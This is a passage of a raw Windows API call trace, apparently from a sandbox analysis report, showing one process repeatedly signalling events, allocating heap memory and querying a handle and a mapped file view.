0x0 [0071.914] ResetEvent (hEvent=0x110) returned 1 [0071.914] SetEvent (hEvent=0x114) returned 1 [0071.914] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.914] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.914] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.914] ResetEvent (hEvent=0x110) returned 1 [0071.914] SetEvent (hEvent=0x114) returned 1 [0071.914] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.914] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.914] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.914] ResetEvent (hEvent=0x110) returned 1 [0071.915] SetEvent (hEvent=0x114) returned 1 [0071.915] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.915] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.915] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.915] ResetEvent (hEvent=0x110) returned 1 [0071.915] SetEvent (hEvent=0x114) returned 1 [0071.915] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.915] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.915] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.915] ResetEvent (hEvent=0x110) returned 1 [0071.915] SetEvent (hEvent=0x114) returned 1 [0071.915] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.915] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.915] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.916] ResetEvent (hEvent=0x110) returned 1 [0071.916] SetEvent (hEvent=0x114) returned 1 [0071.916] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.916] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.916] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.916] ResetEvent (hEvent=0x110) returned 1 [0071.916] SetEvent (hEvent=0x114) returned 1 [0071.916] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.916] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.916] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.916] ResetEvent (hEvent=0x110) returned 1 [0071.916] SetEvent (hEvent=0x114) returned 1 [0071.916] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.916] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.917] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.917] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.917] ResetEvent (hEvent=0x110) returned 1 [0071.917] SetEvent (hEvent=0x114) returned 1 [0071.917] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.917] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.917] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.917] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.917] ResetEvent (hEvent=0x110) returned 1 [0071.917] SetEvent (hEvent=0x114) returned 1 [0071.917] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.917] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.917] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.917] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.917] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0071.917] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0071.917] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0071.917] ResetEvent (hEvent=0x110) returned 1 [0071.917] SetEvent (hEvent=0x114) returned 1 [0071.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.957] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.957] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.957] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.957] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0071.957] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0071.957] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0071.957] ResetEvent (hEvent=0x110) returned 1 [0071.957] SetEvent (hEvent=0x114) returned 1 [0071.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.957] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.958] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.958] ResetEvent (hEvent=0x110) returned 1 [0071.958] SetEvent (hEvent=0x114) returned 1 [0071.958] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.958] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.958] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.958] ResetEvent (hEvent=0x110) returned 1 [0071.958] SetEvent (hEvent=0x114) returned 1 [0071.958] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.958] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.958] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.959] ResetEvent (hEvent=0x110) returned 1 [0071.959] SetEvent (hEvent=0x114) returned 1 [0071.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.959] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.959] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.959] ResetEvent (hEvent=0x110) returned 1 [0071.959] SetEvent (hEvent=0x114) returned 1 [0071.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.959] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.959] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.959] ResetEvent (hEvent=0x110) returned 1 [0071.959] SetEvent (hEvent=0x114) returned 1 [0071.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.960] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.960] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.960] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.960] ResetEvent (hEvent=0x110) returned 1 [0071.960] SetEvent (hEvent=0x114) returned 1 [0071.960] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.960] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.960] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.960] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.960] ResetEvent (hEvent=0x110) returned 1 [0071.960] SetEvent (hEvent=0x114) returned 1 [0071.960] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.960] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.960] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.960] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.961] ResetEvent (hEvent=0x110) returned 1 [0071.961] SetEvent (hEvent=0x114) returned 1 [0071.961] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.961] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.961] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.961] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.961] ResetEvent (hEvent=0x110) returned 1 [0071.961] SetEvent (hEvent=0x114) returned 1 [0071.961] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.961] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.961] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.961] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.961] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0071.961] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0071.961] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0071.961] ResetEvent (hEvent=0x110) returned 1 [0071.961] SetEvent (hEvent=0x114) returned 1 [0071.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.962] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.962] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.962] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.962] ResetEvent (hEvent=0x110) returned 1 [0071.962] SetEvent (hEvent=0x114) returned 1 [0071.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.962] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.962] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.962] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.962] ResetEvent (hEvent=0x110) returned 1 [0071.962] SetEvent (hEvent=0x114) returned 1 [0071.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.962] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.963] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.963] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.963] ResetEvent (hEvent=0x110) returned 1 [0071.963] SetEvent (hEvent=0x114) returned 1 [0071.963] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.963] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.963] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.963] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.963] ResetEvent (hEvent=0x110) returned 1 [0071.963] SetEvent (hEvent=0x114) returned 1 [0071.963] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.963] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.963] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.963] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.963] ResetEvent (hEvent=0x110) returned 1 [0071.963] SetEvent (hEvent=0x114) returned 1 [0071.964] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.964] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.964] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.964] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.964] ResetEvent (hEvent=0x110) returned 1 [0071.964] SetEvent (hEvent=0x114) returned 1 [0071.964] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.964] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.964] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.964] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.964] ResetEvent (hEvent=0x110) returned 1 [0071.964] SetEvent (hEvent=0x114) returned 1 [0071.964] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.964] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.964] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.964] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.965] ResetEvent (hEvent=0x110) returned 1 [0071.965] SetEvent (hEvent=0x114) returned 1 [0071.965] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.965] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.965] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.965] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.965] ResetEvent (hEvent=0x110) returned 1 [0071.965] SetEvent (hEvent=0x114) returned 1 [0071.965] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.965] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.965] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.965] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.965] ResetEvent (hEvent=0x110) returned 1 [0071.965] SetEvent (hEvent=0x114) returned 1 [0071.965] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.965] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.966] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.966] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.966] ResetEvent (hEvent=0x110) returned 1 [0071.966] SetEvent (hEvent=0x114) returned 1 [0071.966] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.966] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.966] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.966] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.966] ResetEvent (hEvent=0x110) returned 1 [0071.966] SetEvent (hEvent=0x114) returned 1 [0071.966] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.966] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.966] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.966] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.966] ResetEvent (hEvent=0x110) returned 1 [0071.966] SetEvent (hEvent=0x114) returned 1 [0071.967] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.967] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.967] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.967] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.967] ResetEvent (hEvent=0x110) returned 1 [0071.967] SetEvent (hEvent=0x114) returned 1 [0071.967] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.967] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.967] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.967] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.967] ResetEvent (hEvent=0x110) returned 1 [0071.967] SetEvent (hEvent=0x114) returned 1 [0071.967] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.967] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.967] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.968] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.968] ResetEvent (hEvent=0x110) returned 1 [0071.968] SetEvent (hEvent=0x114) returned 1 [0071.968] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.968] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.968] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.968] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.968] ResetEvent (hEvent=0x110) returned 1 [0071.968] SetEvent (hEvent=0x114) returned 1 [0071.968] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.968] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.968] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.968] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: 